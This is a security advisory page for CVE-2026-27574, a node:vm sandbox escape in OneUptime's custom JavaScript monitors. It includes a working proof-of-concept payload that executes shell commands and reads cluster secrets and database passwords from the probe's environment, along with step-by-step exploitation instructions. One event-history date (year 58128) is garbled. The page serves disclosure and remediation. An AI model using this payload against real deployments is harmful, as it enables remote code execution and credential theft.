CVE-2026-27574: OneUptime: node:vm sandbox escape in probe allows any project member to achieve RCE

Published Feb 21, 2026
·
Updated

Summary

OneUptime lets project members write custom JavaScript that runs inside monitors. The problem is it executes that code using Node.js's built-in vm module, which Node.js itself documents as "not a security mechanism — do not use it to run untrusted code." The classic one-liner escape gives full access to the underlying process, and since the probe runs with host networking and holds all cluster credentials in its environment, this turns into a full cluster compromise for anyone who can register an account.

Details

The vulnerable code is in Common/Server/Utils/VM/VMRunner.ts at line 55:

typescript vm.runInContext(script, sandbox, { timeout })

The JavaScript that reaches this call comes straight from the monitor's customCode field, which is only validated as Zod.string().optional() in Common/Types/Monitor/MonitorStep.ts:531. No AST analysis, no keyword filtering, nothing — just a string that goes directly into vm.runInContext().

Both CustomCodeMonitor.ts and SyntheticMonitor.ts import VMRunner directly inside the probe process. So when the probe picks up a monitor and runs it, the escape executes in the probe's own process — not a child process, not a container.

Two things make this especially bad:

First, the probe runs with networkmode: host (see docker-compose.base.yml:397) and carries ONEUPTIMESECRET, DATABASEPASSWORD, REDISPASSWORD, and CLICKHOUSEPASSWORD as environment variables. Once you escape the sandbox you have all of those.

Second, the permission to create monitors is granted to Permission.ProjectMember — the lowest role — in Common/Models/DatabaseModels/Monitor.ts:46-51. There is no check that restricts Custom JavaScript Code monitors to admins only. And since open registration is on by default (disableSignup: false), any random person on the internet can reach this in about 30 seconds.

One more thing worth flagging: the IsolatedVM microservice is also affected despite its name. IsolatedVM/API/VM.ts:41 calls the exact same VMRunner.runCodeInSandbox() — it does NOT use the isolated-vm npm package. Workflow components and monitor criteria expressions both route through it and are equally exploitable.

PoC

1. Register at /accounts/register — signup is open by default, no invite needed 2. Create a project — you get ProjectMember automatically 3. Go to Monitors → Add Monitor → pick Custom JavaScript Code 4. Paste this into the code field:

javascript const proc = this.constructor.constructor('return process')(); const run = proc.mainModule.require('childprocess').execSync; return { data: { secret: proc.env.ONEUPTIMESECRET, dbpass: proc.env.DATABASEPASSWORD, redispass: proc.env.REDISPASSWORD, id: run('id').toString().trim(), hostname: run('hostname').toString().trim() } };

5. Save the monitor and wait about 60 seconds for the probe to poll 6. Open Monitor Logs — the result contains the cluster secret, database password, and the output of id running on the probe host

That's it. No admin account, no special config, no extra steps.

Impact

This is a code injection vulnerability affecting any OneUptime deployment with open registration or any trusted user with ProjectMember access. The attacker gets arbitrary command execution on the probe host, all cluster credentials from the environment, and with host networking can directly connect to PostgreSQL, Redis, and ClickHouse using those credentials. One monitor creation → full cluster compromise.

The straightforward fix is to replace node:vm with the isolated-vm npm package, which provides real V8 isolate sandboxing and is the standard solution for this exact problem in the Node.js ecosystem.

Other sources

OneUptime is a solution for monitoring and managing online services. In versions 9.5.13 and below, custom JavaScript monitor feature uses Node.js's node:vm module (explicitly documented as not a security mechanism) to execute user-supplied code, allowing trivial sandbox escape via a well-known one-liner that grants full access to the underlying process. Because the probe runs with host networking and holds all cluster credentials (ONEUPTIMESECRET, DATABASEPASSWORD, REDISPASSWORD, CLICKHOUSEPASSWORD) in its environment variables, and monitor creation is available to the lowest role (ProjectMember) with open registration enabled by default, any anonymous user can achieve full cluster compromise in about 30 seconds. This issue has been fixed in version 10.0.5.

— MITRE

Affected Software

4 affected componentsFixes available
OneUptime OneUptime<=9.5.13
OneUptime OneUptime>10.0.5
Hackerbay Oneuptime<10.0.5
npm/@oneuptime/common<10.0.0
10.0.0

Event History

Feb 21, 2026
CVE Published
via MITRE·10:13 AM
Data Sourced
via MITRE·10:13 AM
DescriptionSeverityWeakness
Data Sourced
via NVD·11:15 AM
RemedyDescriptionSeverityWeaknessAffected Software
Feb 24, 2026
Advisory Published
via GitHub·04:00 PM
Data Sourced
via GitHub·04:00 PM
DescriptionSeverityWeaknessAffected Software
Oct 18, 58128
Event
via FIRST·10:17 AM

Frequently Asked Questions

1

What is the severity of CVE-2026-27574?

CVE-2026-27574 is rated with a high severity due to its potential for remote code execution (RCE) through a sandbox escape.

2

How do I fix CVE-2026-27574?

To fix CVE-2026-27574, upgrade OneUptime to version 10.0.5 or later, which addresses the vulnerability.

3

What versions of OneUptime are affected by CVE-2026-27574?

OneUptime versions 9.5.13 and below are affected by CVE-2026-27574.

4

What type of vulnerability is CVE-2026-27574?

CVE-2026-27574 is a sandbox escape vulnerability related to the use of Node.js's node:vm module.

5

Who can exploit CVE-2026-27574?

Any project member with access to the custom JavaScript monitor feature can exploit CVE-2026-27574 to achieve remote code execution.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203